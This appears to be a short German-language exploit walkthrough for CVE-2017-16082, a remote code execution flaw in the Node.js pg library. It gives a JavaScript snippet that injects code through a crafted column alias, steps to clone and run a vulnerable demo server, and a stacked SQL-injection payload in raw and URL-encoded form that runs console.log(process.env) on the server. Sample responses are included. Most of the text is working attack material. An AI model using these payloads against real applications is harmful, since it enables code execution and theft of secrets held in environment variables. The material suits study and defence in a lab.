
NodeJS + Postgres (Remotecodeausführung) 🛰
Betroffene Versionen von pg enthalten eine Schwachstelle zur Remotecodeausführung, die auftritt, wenn die entfernte Datenbank oder Abfrage einen manipulierten Spaltennamen angibt.
Es gibt zwei spezifische Szenarien, in denen eine Anwendung wahrscheinlich anfällig ist:
const { Client } = require('pg')
const client = new Client()
client.connect()
const sql = `SELECT 1 AS "\\'/*", 2 AS "\\'*/\n + console.log(process.env)] = null;\n//"`
client.query(sql, (err, res) => {
client.end()
})
git clone https://github.com/nulldreams/CVE-2017-16082.git
cd CVE-2017-16082
npm i && node server.js
Senden Sie eine Anfrage an localhost:5000/api/v1/users?id=1
Ergebnis
[
{
"id": 1,
"username": "wubba",
"password": "123",
"createdAt": "2018-11-27T09:19:54.000Z",
"updatedAt": "2018-11-27T09:19:54.000Z"
}
]
Senden Sie nun eine Anfrage mit einem Payload wie diesem 1;SELECT 1 AS "\']=0;console.log(process.env)//" und codieren Sie es mit einem URL-Encoder.
Endgültige URL: localhost:5000/api/v1/users?id=1%3BSELECT%201%20AS%20%22%5C%27%5D%3D0%3Bconsole.log(process.env)%2F%2F%22
[
{
"id": 1,
"username": "wubba",
"password": "123",
"createdAt": "2018-11-27T09:19:54.000Z",
"updatedAt": "2018-11-27T09:19:54.000Z"
},
{
"\\": 0
}
]
Überprüfen Sie den Terminal-Server.